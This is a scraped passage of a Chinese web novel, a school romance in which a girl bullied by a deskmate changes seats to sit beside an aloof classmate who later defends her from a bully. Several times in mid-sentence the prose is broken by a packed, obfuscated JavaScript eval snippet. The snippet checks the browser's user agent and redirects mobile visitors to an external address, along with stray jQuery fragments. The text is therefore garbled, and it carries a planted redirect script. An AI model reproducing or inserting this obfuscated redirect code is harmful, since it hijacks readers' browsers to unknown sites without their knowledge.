荆荡看见易书杳尖尖的牙齿磕在下嘴唇,眼角眉梢透着生气,一看就是被人欺负了,不过这次眼眶倒没红,而是有一股横冲直撞的执拗感。 空气里女孩好闻的茉莉清香萦绕鼻尖,他滚了下喉咙。 易书杳攥着手心难堪地和荆荡擦肩而过,飞快地走到办公室门口。 她咽了下嗓子,敲门。 “找谁?”一个陌生老师抬头。 “许老师。”易书杳说。 “不在,晚上请假了,有什么事明天再跟她讲。” 易书杳崩溃地探头看一眼,果然许老师座位空空。她心脏骤然下沉,低垂着头退出办公室。 走廊有雨飘进,扎在脸上发疼。 昏黄安静的教学楼,沉默又振聋发聩地浸泡她绝望的心。 易书杳吸了下鼻子,没什么知觉地走到卫生间,洗了把脸。 冷水刺骨,消毒水的气味灌进嘴巴,刺激头皮。 她想,她一秒也不想再呆在周行的旁边了。 ——如果有两条路,一条是明摆着是深渊,一条是荆棘丛生,但仍可一试的路,到底要选择哪一条? 易书杳揉了揉洗得发疼的脸,下课铃打响。 她走出卫生间,紧张地站在走廊。 几分钟过去,易书杳蹲到了那个想蹲的人,抬起脚步,跟住了他,来到一楼的拐角。 这里没人,雨雾飘斜的一片漆黑里,荆荡蹲在阶梯处,头顶有屋檐随意地遮盖一点,手里夹着的烟成了唯一的光源,照亮深刻峻逸的下颚。 少年抽烟的姿势很好看,风吹灭烟头。 他拿出火机,偏头拢住星火,睫浓密地勾扯,光亮进深不可测的眸子。 “荆荡。”易书杳心里打鼓地喊了一下,走到蹲着的那人面前,弱弱道:“我能不能坐你旁边?”她手心的汗水滚下来,实话实说,“教室的空位只有你那了,周行有点过分,我不想再坐他旁边了。” 静了片刻,只有风声鹤唳,荆荡虽蹲着,眼皮半撩,居高临下看人的感觉没减一点,反倒压迫感更强。 两秒后,易书杳看见他朝她 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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于是局面就变得非常一边倒了。 大家都心疼易书杳,却又无能为力。 “你是不小心碰的吗?”易书杳愤怒值飙升,“都两次了,哪有这么巧的事?” “是不小心碰的啊,”周行耸了耸肩膀,“你别这么敏感。你也就表面清纯吧,装什么呢,流传的片都不知道多少个了。” 易书杳最后一句话没听懂,但看他表情就知道不是什么好话,她牙齿紧紧咬着嘴唇:“你说什么呢?” “我说什么你不知道啊?你在片里还挺乖的啊,被男的碰成那样也——” “怦”的一声,一个强硬的拳头忽然出现:“你他妈吵什么?”周行被不及掩耳之势揍到了地上。 荆荡收了拳头,漫不经心睇着他。 周行被这拳打蒙了,撑着地站起来:“有病吧?”看见是荆荡后,又怂了,问:“荆荡……你干吗打我?” 许之淮不知状况,急忙走到荆荡身边,也问了一嘴:“是啊,你揍他干吗?” 许之淮非常了解荆荡,他性格冷酷,压根不可能会为了女生出头。 果然如许之淮所想,下一秒,荆荡薄唇动了动:“说过了,这傻逼吵到我睡觉了。” 周行自然不敢再出声,他恶狠狠地瞪了眼易书杳,拿着书包出了教室。 许之淮笑了下,刚才荆荡这少爷确实在睡觉来着。 “喔,”许之淮的手搭到荆荡身上,跟他出了教室,“我还以为你是为易书杳出头。” 走廊风热,荆荡双手插兜,额前的乌黑头发被风吹得分散:“易书杳?谁?” “就那个跟周行吵的女生。” “她叫易书杳?” 许之淮看着荆荡不怎么熟悉地第一次念这个名字,知晓他不认识她,自顾自地点头:“哦,搞半天是周行吵到你了。他声音确实挺大的,估计办公室都能听见。” 荆荡嗯了声,到一楼摸出根烟咬上。 南方教学楼建筑宽阔,浓郁月光像纱幔笼罩在他脸上,似拢住了一抹冷白。 第二天易书杳跟班主任说了周行的事。 班主任原本就打算重新排位置,听完之后把周行叫到办公室严厉批评。 下午,一张新的座位表贴到了黑板。 易书杳和荆荡的名字捱在一起,不知是天意,还是命定的缘分在作祟。 换座位是在白天的最后一节课。 易书杳知道同桌由周行换成了荆荡。她心底有点说不清道不明的恐惧,也有点小小的担心。 毕竟,她那天晚上是去找了荆荡换位置的。 他没同意,还冷拽着一张脸。 虽然,特别帅,但看起来让她胆战心惊。 一小会的工夫,班上的同学陆陆续续在换座位。 易书杳抿了抿嘴唇,磨蹭地抓着桌子,慢吞吞地往靠窗的位置搬。 中途有男生朝她挽起袖子:“我帮你吧。女生没什么力气,搬不动。” “女生有的是力气,”易书杳摇头拒绝,“谢谢你的好意。” “那好吧,”男生说,“昨天你被周行欺负了,其实我是想帮你出头的。但是还没来得及,荆荡就帮你了。” 易书杳没有脸大到认为荆荡是在帮她,认真说:“他只是被吵到而已啦,不过我也很谢谢他就是了。” 就在这时候,空气响起一道冷淡桀骜的少年音,顽劣勾人,来自于荆荡:“哦?那怎么没听见你跟我说谢谢?” 4. 不那么勇敢的她呀 4. 易书杳一惊,侧头看见了荆荡。 他身形高瘦颀长,懒散地抓着桌子往窗外,表情冷冷的,看不出什么情绪。也就是这时,易书杳才发现,班上人差不多都搬完了,就只剩下零散的几个还在搬。 所以荆荡能听到她和男生的对话不奇怪。 对上荆荡漠然漂亮的眼睛,易书杳耳朵有点发烫,随意胡扯了个理由:“还没找到机会呀。” 荆荡没搭理她,好像刚才那句话只是随口一说。他走过去将课桌搬到靠窗,弯腰把书包塞进桌肚,背对着她趴在桌子上睡觉了。 夏末的傍晚,天空像打翻的颜料,橘调的光不安分地踩在少年的白色校服,光看背影就能看出这个人的冷硬脾气。 易书杳呼吸紧了下,他,是不是真的不乐意跟她坐同桌? 一定是吧。 或许,依他那种不驯的性格,等下就会和老师提出换位置的。 易书杳的眉眼松软下去,小心翼翼将桌子搬到他旁边,隔了一道狭窄的缝隙,没有完全贴上去——反正等下也是要搬的。 搬好座位后是自习的时间,易书杳拿出物理卷子开始做。 身边人的凛冽乌木气息无孔不入地投进鼻尖,很好闻,让人联想到清新的海洋味道和岩兰草香。 易书杳呼吸放缓,心情不自觉也放松了。 可是很快,她反应过来。他醒来之后,就会搬走的。 果不其然,在离下课还有两分钟的时候,她桌子被荆荡敲响:“喂。” 绷了一节课的弦轰然断开,易书杳抬头朝他看去,放缓两秒,轻声问:“你是要换座位吗?” 荆荡看着她亮晶晶的乌眸,拧起好看的眉:“我换哪去?” “都行呀,”易书杳问,“你不是不想跟我坐吗?那你可以换的,我都行。” “我说要换了?” “不换吗?” 荆荡看到她遗憾的表情,不爽地从抽屉摸出烟盒,站起来挡住了窗外的晚霞:“你闲的?” 易书杳歪头问:“那你刚才敲我桌子是干吗呢?” 荆荡低头看她,眼底嘲弄意味很浓:“怕你学习太无聊,给你奏个曲。” 此言一出,周围的人都没忍住扑哧笑出声。许之淮笑得最大声,对易书杳说:“妹妹,你要不要看看你们俩的位置呢?你不让开,他过不去。” 易书杳瞥了眼荆荡的位置,喔,他在最里侧,如果她不起身,他的确出不去。 听见好几个人的笑声,易书杳的脸热了起来,起身给他让位置,嘟囔一句:“敲桌子我哪里懂你什么意思。” “那你让我说话了吗?”荆荡哂睫。 易书杳想起他那时敲完桌子,她就问是不是要换座位了……好像的确是没给他继续说话的时间。 “……”易书杳被噎了下,摸摸鼻尖,“那不好意思嘛。” “以后不好意思的事少干。”荆荡长腿一迈,出了教室。 易书杳看着荆荡背影,摸了摸心口。 哎,这个人还真是凶得很呀。不过要是真换座位,要是换到像周行那种人怎么办呢?荆荡凶是凶了点,但起码不会像周行那样。 于是,易书杳决定忍辱负重,能忍则忍吧。 下课铃打响,到了吃晚饭的时间。 易书杳暂时还没交到朋友,独自去食堂吃饭。 易振国给了一笔不少的钱,但她穷惯了,不习惯大手花钱。 食堂一楼的饭菜比较朴素,二楼有几个窗口会售卖好吃的饭,不过价格有些贵,大部分学生都消费不起。 当然荆荡不属于这个范畴,当易书杳吭哧吭哧在一楼吃饭时,就看见他和几个男生从二楼下来。他嘴角挂着点散漫向上的弧度,笑起来会削弱整张脸的冷感,眉眼属于生硬那一挂,锐利偏尖的眼角略微向上,又让他看起来更傲,有种恣意痞帅的感觉,很诱惑人。 易书杳听见身边的女生都在小声讨论他,还有的拿出手机拍照。 她认同地点点头:如果荆荡没有那张讨厌的嘴,确实还挺赏心悦目的。 随后,手机拍照声不绝于耳,连许之淮都听见。 他听见后朝那人看去,顺势就看见了不远处的易书杳。 许之淮撞了撞荆荡的胳膊,语气欠打:“你同桌。” 荆荡破天荒朝许之淮的视线看过去。 易书杳坐在窗边,正在闷头吃饭。瘦小的个子套着宽松的校服,不到一米六五的身高在人群中并不显眼,只是她太白,双颊透着清亮的粉色,眼眸弯弯的,像泡在玻璃罐的半截月亮,和所有人都不在一个次元。 荆荡想到她今天迫不及待要换座位,冷淡地呵了声:“不认识。” * 易书杳吃完饭回到教室,还没到上课时间,有人在用教室的多媒体设备放电影。 她笑眯眯看了会,去上了个厕所。 洗完手,厕所里面传来“噌”的一声,是打火机的声音。 易书杳没放在心上,准备回教室,忽然听见了一个女生压低的痛苦抽气声。 伴随着另外一个女生的呼吸和浅笑,以及一阵难闻的烟味。 易书杳停住脚步,静静听了会,越听越不对劲。 她走到那个隔间前面,那张门紧闭,从里面传出烟在皮肤上燃烧的细微动静。 挣扎的哭泣声丝丝入耳。 “怦!” 易书杳咬紧嘴唇,用力把门推开了。 烟雾缭绕,隔间里有两个女生,个高的那个女生化着好看的妆,把猩红的烟按在个子稍矮的女生手臂。被烟头烫的女生无措地蹲在角落,眼睛流着泪,满是求助的眼神。 易书杳被眼前这一幕惊呆,愤怒的情绪被点燃,扭头看向高个女生:“你干什么?” 高个女孩叫郁南,是高二艺术部的女神,她甜美地笑了下,把烟又往女生手臂烫了下,说:“看不出来吗?这很明显啊,她在给我熄烟。你也要试试吗?” 易书杳紧紧皱着眉,一把拉过个子矮的女生,隔间窄小,混乱中烟头砸在易书杳手背,烧得她眉头一皱,刹那间涌出泪。 郁南将烟头扔进厕所,按了下冲水键,呼噜呼噜的水把烟头卷了进去,好像刚才的一切都不存在,她笑着看易书杳:“你确定要和我作对吗?” 易书杳没管她,只看着矮个女生,说:“你别理她,你到我这里来,我带你去医务室处理伤口。” 矮个女生摇了摇头。 郁南拿手拍了拍矮个女生的脸,扯她出了厕所。 易书杳抿了抿嘴唇,她一向不是个勇敢的人,自己都被别人欺负过好几次。但也许是因为真切体会过那种无援的难受感,所以一刻不那么勇敢的易书杳也还是跟上了矮个女生:“你别怕,可以告诉老师的,实在不行就报警,别忍着。” 郁南听笑了,抓着女生大步流星地走:“我劝你先管好自己。” 女生却挣扎开郁南的手,颤抖地握上易书杳的手:“帮帮我。” “你想死是吧?”郁南没松手,强硬地握住。 易书杳当然不乐意,但她不会主动打人。郁南却不是个善茬,出手推了把易书杳。 易书杳躲了过去,不设防的郁南反倒摔在了地上,混乱中,她把易书杳一块拉到地上。 两人就这样跌倒,易书杳的手背擦过坚硬的水磨石,之前的烫伤再次加重,刺激得她眼眶一红。 走廊上围观的人不少,暮色四合,一楼种植的柠檬树结了果,被晚风吹得乱晃,清香味大范围地散开。易书杳疼得短暂闭了下眼睛,再次睁开,远处走廊的尽头,站着荆荡。 他比树高一截,清爽的柠檬果开在身侧,衬得他乌发浓烈,意气风发,不知道是什么时候出现的。 只不过这一次,他没看她,而是看向了郁南。 许之淮站在荆荡旁边,瞪大眼:“南姐怎么跟易书杳打起来了?不应该吧,南姐那么温柔的人。”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15042247|162586||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>许之淮知道荆荡跟郁南家里有亲戚关系,都是属滨海的上流圈,从小就相熟。帮郁南是情理之中的事。 荆荡走了过去。 易书杳是看着荆荡一步步走过来的,她听见围观的人在窃窃私语。 “那个是高三艺术部的郁南,那个是荆荡,都不用介绍吧?那个小姑娘是谁?看着软乎乎的,怎么也打架?” “易书杳吧。高一的,论坛里她的帖子挺多的。 “郁南跟荆荡是朋友,他肯定会帮她,那易书杳会很惨的吧。” “能不惨吗?荆荡在附中说二,谁敢说一啊。这才高一,刚开学几天,没人压得住他,就高三那个刘煜辉,响当当的校霸吧,我之前还撞见他叫荆荡一声哥呢。” “别说荆荡了,就郁南都能整死她。” 这些话砸在易书杳耳朵里,重量骇人。其实,她不在意这些的。只是或许是因为,前两次她被人欺负,都是荆荡有意或者无意地帮了她。 这一次,他不会再帮她,而是选择站在了对立面。 轻轻吸了下鼻子,易书杳抬手揉了下眼圈,告诉自己没什么好伤心的。 荆荡本来就跟她不熟,一个非常凶的人,她这次惹了他朋友,他指不定怎么整她。 想到以后那些会发生的惨烈局面,易书杳忍不住头疼。 怎么会这么巧呢,郁南那么坏的一个人,竟然跟荆荡是朋友。哦,荆荡也很坏吧。难怪是朋友。 易书杳撑着地面,艰难地站了起来。 郁南把手朝荆荡伸出去,对荆荡浅笑:“你看,都是你班上那个人弄的。她欺负我,你要怎么办?” 荆荡睨了眼易书杳,眼神难以形容,只能说冷光锐利分明。 易书杳被这个眼神吓到,鼻尖泛了点酸,柠檬的汁水像是倒进了她的心脏。 她嘴唇紧闭,难以开口,或者准确地说,她是不想说话。 心底有些凉,哪怕知道他很坏,易书杳也能感受到原来炽热的空气变得寒冷,她扭开脑袋,想带那个矮个女生去医务室。 可是,现在这个局面,她还能逃出去吗? 重新整理了下思绪,易书杳觉得自己还是有开口的必要,便看向荆荡:“是她先欺负别人的。” 荆荡语调淡淡:“她欺负你了吗?” “……”易书杳被梗住,带了丝没什么攻击性的薄怒:“她刚开始没有欺负我,但是她欺负别人了。” “你发什么疯啊?”郁南不爽地看着易书杳,“我怎么欺负别人了,关你什么事?没欺负到你头上,你就受着吧——”话还没说完,被荆荡打断了。 他望着易书杳,语调不似平日那么冷,尾音有些上扬,是在认真地询问:“她没欺负你,你怎么哭了?” 易书杳愣了下,咦,她哭了吗? 易书杳揉了下眼圈,带出一些滞涩的泪。估计是疼哭的吧,她对疼痛的敏感度很高,一点都不耐疼。 不过,她自己都没发现了,荆荡怎么发现了? 易书杳心脏有一角像刚出炉的温热面包那样,塌软了几秒钟。还没等她说话,郁南就忍不住开口质问:“荆荡,你什么意思啊?” 荆荡朝郁南偏头,冷意明显:“我什么意思,你不懂?” 郁南憋了一口气:“我又没欺负她,关我什么事?” 这两句话,让易书杳和围观群众十分蒙。 尤其是易书杳。 她好像听不懂,但好像又听懂了。荆荡,这是在帮她吗? 可是,他为什么要帮她? 那个叫郁南的人,可是他的朋友。而她,只不过是他下午刚换的,还曾经有过“嫌隙”的同桌。 就在易书杳不确定荆荡是不是真的在帮她的时候,下一秒,荆荡的答案递了出来。 柠檬树在冷白的灯光下灿烂,叶子好像在跳一支春天的舞。 他侧头看着郁南,薄唇一张一合,冷拽逼人:“那她有病是吗?你没惹她,她会哭?” 5. 反正也没有不可爱 5. 这么多人围观,郁南被荆荡冷着脸训,她面子挂不住,假装和善释然地笑:“那我就不知道了,她哭她的,跟我没关系。我反正没欺负她。” 荆荡扯了下唇,眼底没什么笑意:“你最好是。” 易书杳一心记挂着那个女生的伤势,见荆荡好像没有要找她茬的意思,她便匆匆拉着女生去了医务室。 她不知道的是,荆荡为她出头的事,飞速上了学校的论坛,帖子建了几百层。 医务室里,女生把手机递给易书杳:“你看看。” 易书杳被烟烫伤的位置也被校医处理过了,她毫不知情地接过手机,看到了一个标题为“荆荡跟郁南吵架了吗?因爱生恨?今天郁南跟人打架,他都没帮她!” 易书杳看到标题的第一反应是,哦,果然如此啊。 这才说得通。荆荡帮她,只是为了气郁南而已。 易书杳豁然开朗,只是不知道为什么呢,她感觉心口堵堵的,有些小小的失落。 “我叫林橙,今天……谢谢你。”回教室的路上,女生鼓起勇气道。 “没事,”易书杳说,“你要告诉老师吗?我可以陪你去。” “不了吧。”在学生时代,大部分人都觉得被欺负告诉老师是丢脸的做法,只有小学生才会瞎告状呢。 易书杳问为什么。 林橙低着头:“她会欺负得更厉害的,我以前不是没告诉过老师,没用的。” 易书杳想了想,说:“那你跟我去派出所,你手都被烫伤了,可以让警察警告一下她。” 林橙还是摇头:“警告一下又有什么用。” 易书杳看着她,有些不知道怎么办:“可是总得试试吧,不然今天有我帮你,下次她再欺负你,你怎么办?” “她不会再欺负我了,”林橙安慰易书杳,“今天荆荡都那样说她了,她肯定不敢了。” “不一定哦,”易书杳为这个问题苦恼了一路,到教学楼时,只好说,“那你以后被欺负了,一定来找我。”不过……以后郁南跟荆荡和好了的话,荆荡也不会帮她了。 所以林橙来找她好像也没什么用。 不,是有用的。 如果下次郁南再欺负林橙,易书杳就算绑,也要把郁南绑到派出所去。 “好。谢谢你,小杳。”临走前,林橙抱了抱易书杳。 易书杳眼皮有点酸酸的,如果……她再强大一些就好了,就可以保护想保护的女孩。 晚自习前的两分钟,易书杳回到教室。班上的人统一抬头,对她行注目礼。 易书杳不太习惯成为人群焦点,逃也似地回到座位。 这一幕被荆荡看到,他揶揄地扯唇:“正义少女易书杳回来了?” 易书杳轻轻眨了一下眼,拿书本挡住班上的人看她的视线,回荆荡莫名其妙的话,脸好热:“……你干吗这么叫我?” 正义少女的脸红彤彤的,像出锅的番茄颜色。她眼睛里像掺杂玻璃糖,特别亮。嘴唇是薄粉色,一张一合,有热气和圆润的橙香味扩撒在耳边。易书杳就那样偷偷地跟他讲话,眼里有好奇和疑惑,笨蛋一样。 荆荡看到这笨蛋心情莫名变好,扯了个唇角:“我他妈有病,我这么叫你。” “……”易书杳瞪他一眼:“你能不能好好讲话。” 荆荡轻飘飘睨她一眼。 易书杳还是很怕他的,低下头当作刚才那句话没说。 学校里就没人不怕这少爷吧,阴晴不定的脾气,不知道什么时候就会出手揍她了。 荆荡:“你手怎么了?”他眼皮低垂,看着少女白嫩的手背有一处烫得发红的痕迹,那颗一向冷硬的心莫名其妙像被雪山的猫咬了一下,凝眉问,“她拿烟烫你了?” “没,”易书杳惊讶他能看到她的伤口,实话实说,“推搡的时候不小心烫到的。” “伤口处理过了?” “处理过了。” “下次帮别人前,先掂量掂量自己的本事,”荆荡蹙眉,“别犯浑,一股脑就打架。你打得过谁?” 易书杳心脏波动了下:“我没跟她打架,我就是想带林橙去医务室,你朋友不让,我就扯了两下。” “什么朋友?”荆荡否认,“我跟她不熟。” 郁南也就是跟他妈认识,来家里吃过几次饭。他知道她欺负弱小,打心底看不上她。 “喔,那你今天帮我,就不是为了气她吗?”易书杳慢吞吞地问,“你为什么帮我?” “我不帮你,你就要被她揍晕了,”荆荡闲闲道,“我总不能真看着你去世吧?” “你话怎么这么难听呢。”易书杳没忍住笑了。 “难听也给我受着。” 看他又恢复以往那种冷漠状态,易书杳哦了声,小声说:“你变脸真快,能不能别这么快对我冷脸。” 荆荡皱眉:“你嘟嘟囔囔什么?有话就说,骂我也大声点。” “没什么,”易书杳把挡着脸的书本拿开,发现班上还是有好多目光在偷偷打量她,吓得她又马上合上书,“都这么看着我干吗?” “你现在可是名人了,”坐后座的许之淮被这姑娘逗乐,拍了拍她肩膀,“这就是名人要承担的代价。” “为什么我变成名人了?”易书杳疑惑地抬唇角,“就因为我出手帮了林橙?” “怎么可能是因为这个,”许之淮乐得不行,偏头跟荆荡讲,“你这同桌还有点可爱,跟傻子一样。” 可爱? 荆荡瞥了眼她,哂笑一声,说:“凑合吧。” 反正也没有不可爱。 “那是因为什么?”易书杳真想不到了。 “因为荆荡帮了你啊,他为你出头,这不比你那什么出手帮什么橙劲爆得多。”许之淮说。 “喔,”易书杳感觉心脏被一片带着柑橘味的树叶拨了一下,荡漾开来,她不习惯掩饰自己,说,“我还挺开心的。” 许之淮觉得她真有意思:“为什么开心?因为荆荡帮你,你觉得以后都有人罩着,能在附中横行霸道了?” “没,”易书杳看了眼荆荡,眼眸是弯的,有点傻乎乎,“我就是开心今天不用被人揍了。” 对上女孩柔和天真的眼神,荆荡想笑,也是真没忍住笑了:“傻逼。”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15042248|162586||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>“你天天骂人。”易书杳扭过头,懒得跟他讲话了。 她打开数学试卷,心中的喜悦还未散尽。她确实很开心今天荆荡帮了她,她免于一顿揍。易书杳懒得想他今天到底为什么要帮她,谁知道呢,荆荡这人一向不好琢磨,也许他今天就是乐于助人吧。 不过,加上前面那两次,这次是他第三次帮她了。 不管怎么样,他的确帮了她三次。 荆荡这个人……好像也不坏,就是脾气未免太差,不知道以后谁能治得了他。 晚自习下课,易书杳被烟头烫伤的手背隐隐作疼。 她没当一回事,继续写着英语试卷。 刚写完七选五,有个热情洋溢的女生跑到她座位前,眉开眼笑:“书杳同学,听说你想换座位,是真的吗?可不可以跟我换?” 摆弄手机的荆荡闻言,手停留在操控游戏人物的屏幕。 “啊?”易书杳有些许震惊,“谁说的呀?” “许之淮,”女生看了眼后座的许之淮,“他讲的。” 许之淮笑着摸了两下后脑勺:“易书杳你今天不是跟荆荡说换座位什么的吗,我就跟周思淼提了嘴。” “喔,”易书杳点了点头,“这样呀。” “对滴,”周思淼笑着指了指自己的位置,“你要不要换呀,我坐的那个位置挺好的,离空调比较近。” 易书杳弯唇扫了眼周思淼座位,话语里染笑:“是挺好的位置。” 一局游戏结束,输了。荆荡凌厉眉间染上不知名的烦躁,放下手机,从抽屉拿出银质的打火机和烟盒。 易书杳知道他要去抽烟,起身让开。 荆荡跨过座位,头也不回地离开。 到了厕所,他连抽了两根烟,是有些烈的牌子,完事后从口袋掏出一颗绿苹果味的糖,撕了包装扔进嘴里。 第三节晚自习开始,荆荡到最后二十分钟才回。 易书杳站起来给他让开,被他一句话砸蒙了:“什么时候搬?” “搬……搬什么?”易书杳没反应过来。 荆荡跨进座位坐下:“你不是要换座位?”他面无表情,忍着无名的火气,“要换就他妈快点换。你手不是受伤了?我帮你搬座位。” 风轻轻的,浮过易书杳的眉眼。她懵懂地说:“可是我没答应跟她换呀。” 荆荡没反应过来:“嗯?你不搬?” “不搬。”易书杳说,“那里空调太近了,挺冷的。” 荆荡难看的面色缓和下来,无名火也跟着消散:“哦。” “我觉得坐这里挺好的。”易书杳小心翼翼地说,“如果你脾气再好一点就好了。” “我脾气就这样。”荆荡漫不经心撩起单薄凶戾的眼皮,“忍着。” 易书杳喔了声,把话说完整:“如果你脾气再好一点,我想一直继续跟你坐同桌。” 这话说完,她看见荆荡脸色沉下来。 糟了,又要被骂了。 易书杳有所感地抿了下唇,然后,就看见少年冷拽着一张脸,薄唇牵动嘴角,嗓音有些略微上扬的暴躁:“知道了,以后脾气会好一点。” 6. 夜晚是她孤单心事 6. 易书杳没想过荆荡会这么回,她惊讶地眨了下眼睛,默默道:“……你今天心情是不是很好?” 荆荡语气没什么耐心,但又像是在掩饰自己都不明白的情绪,他浑身有些燥,想去打篮球,道:“你让开,我要出去。” 易书杳第一次没听他的话,想趁着他心情好干一件事。毕竟,荆荡的好心情可太难得了。 她温软地摇摇头:“你先答应我一件事,可以吗?” “我话撂下还没一分钟,你就开始得寸进尺了?”荆荡眼皮撩着她。 “没呢,”易书杳揉了揉手心,慢慢地说:“我是觉得这件事只能找你了。” “说。” “就是……”易书杳抿了下唇:“你能不能让郁南以后别欺负林橙了?” 荆荡哼了个劣笑:“还真又把我当大好人了?这种破事也来找我。”他没再说别的,敲她的桌子,“起来。” 易书杳嘟囔地起身让开:“刚刚还说脾气会好一点呢,骗子。” “没骗你,”荆荡经过她身边,留下一句懒洋洋的话,“但那些破事跟你没关系,你管它干吗?” 易书杳想再说几句,荆荡已经走了。 她无奈地咬上唇角。 这话不还是不肯帮忙的意思吗? 骗子。 易书杳在草稿纸上写下这两个字,还义愤填膺地打上三个感叹号。 不过,她当然也懂,荆荡没有义务帮忙。 易书杳无能为力地低下头,发了五分钟的呆。 到底要怎么样,才能真正帮上林橙的忙呢。 想着想着,第三节晚自习的下课铃声打响。 易书杳收拾好书包出了教室,其他人回家的步履都匆匆,唯独她步伐缓慢,好像走在钢筋铁板。 五分钟后,她走到校门口。 一向不肯和她坐同一辆车的易珍如坐在汽车的副驾驶,一脸不悦地朝她挥手:“你磨蹭什么呢,快上来。不想回家就回乡下好吗?我家也不欢迎你。” 易书杳莫名地看向陈叔。 陈叔下来开车门,和善地打圆场:“今天来接小如的那辆车被易总临时开走了,她只能来坐我们这辆。等了你几分钟,有点不耐烦。你别介意,她就是小朋友性格。” “什么我们这辆,这车是我爸的好吧?跟她有什么关系。”易珍如继续摆脸。 易书杳上了车,坐在后排,安静地说:“他也是我爸爸。” “你说这话不觉得好笑吗?”易珍如翻了个白眼,“我爸是觉得你妈妈和外婆都死了,成了孤儿,觉得你可怜才把你接回家。这个家,是我和我爸妈的家,跟你没多大关系。” 这是事实,易书杳无力反驳。她偏头看向窗外,被触碰到痛处,喉咙发紧:“随你怎么说,他也是我爸。” “他根本没把你当女儿,真把你当女儿会十几年都不去看你?现在把你接回来只是不想让你死在外面,脏了他易振秦的名声!” “珍如!话不能这样说。懂礼貌,尊敬父亲,好不好?”陈叔眉头一皱地打断。 易珍如冷哼一声,低头玩起手机。 易书杳表情没什么波动,从书包拿过手机,插上白色的有线耳机,依旧望着窗外,听起了歌曲。 音乐像水一样流过耳梢,她无端想起荆荡。 如果她也像他一样会骂人就好了,脾气当场就发,不用顾虑,也不用压抑难过。 可惜,她如今是寄人篱下。 如果和易珍如吵起来,她一定会是被赶出去的那一个吧。 十点半,汽车开进易家,停在一棵樱花树前。 易书杳下了车,沉默地背着书包进大厅。 易振秦难得在家,将文件随手搁在沙发,摘下眼镜,随口道:“上学回来了?” “嗯,”易书杳强撑起一个笑容,“回来了。” “早点洗漱,早点休息。”易振秦官方地笑了下。 “好。”易书杳和他算不上熟,两人之间的关系比陌生人好不了多少,便说,“你也是,爸爸。” 易振秦又笑了笑,透着一分尴尬。 秦思仪穿着旗袍从卧室出来,易书杳经过她,出于礼貌打了个招呼:“秦姨。” 奈何秦思仪根本没听见,直接忽略她,朝后头的易珍如招手:“乖女,今天在学校一天累不累?” 易珍如气冲冲地走过来,横了眼易书杳:“今天接送我的车被开走了,只能和她一起,她好慢,我在寒风里等了好久。” 秦思仪看见易珍如可怜巴巴的,心疼得紧,把她抱进怀里揉了揉头,看着易振秦:“你也是,明知道那是接送如如的车。” 易振秦颇为无语:“哪就这么娇气了?现在是夏天,哪来的什么寒风。” “可是我真的等了好久啊,”易珍如撒娇地说,“烦死了。” “好了,好了。”易振秦安抚完易珍如,朝易书杳看去,“杳杳,你下次早点,别让妹妹等。” “我不知道她今天会跟我一起,所以会有点慢。”易书杳不得不解释。 “下课了就早点上车,早点回家,”秦思仪语气没什么波澜,“你爸费尽心思把你接回家,你别辜负他这份心。” “我没有。”易书杳重复地说,“今天就是慢了几分钟而已,我不知道她今天会跟我一起。” “这事也不能怪杳杳啊,”易振秦说,“好了,到此为止。” “嘭”的一声,易珍如把书包甩在地上,愤怒地上楼了。 秦思仪看着她的背影,扭头对易振秦说:“都跟你说了,如如不习惯家里有外人,她娇生惯养的,吹点风就会闹得不行。” “什么外人,什么叫外人?”易振秦黑了脸,这么多天来第一次生气,“杳杳是我女儿,亲生女儿,不是外人!” 秦思仪像是被吓到,眼泪涌出来一点,踩着高跟回了卧室,又是嘭的一声,关门的声音响天动地。 客厅里只剩下易书杳和易振秦。 “别怕,也别听她们瞎说,”易振秦率先拍了拍易书杳的肩膀,“你是我女儿,爸爸会站在你这一边。” 易书杳喉咙酸酸的,咬着声线低低嗯了声,几乎要溃不成军。她不擅长应对这些话,别扭地拉紧书包的带子:“谢谢,我先上楼了。” “哎,好。”易振秦点了点头。 易书杳把书包带子捏得很紧,上楼之后回到卧室,就听见楼下传来激烈的吵架声。用不着分辨,一听就是易振秦和秦思仪的。 这些声音像利剑一样割进她的耳朵,易书杳跌坐在床前,抱着头,把脸埋进膝盖里,滞涩地闷了很久。 唉,她是不是就不该来这里。她来了这里,所有人都不开心。 可是她如果不来这里,又能去哪里呢。妈妈和外婆都走了,她回到港桂巷,也没有家了呀。 想到这里,小姑娘吸了下鼻子,心脏迟钝地泛疼。 是啊,世界这么大,她好像都没有一个真正属于自己的家 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 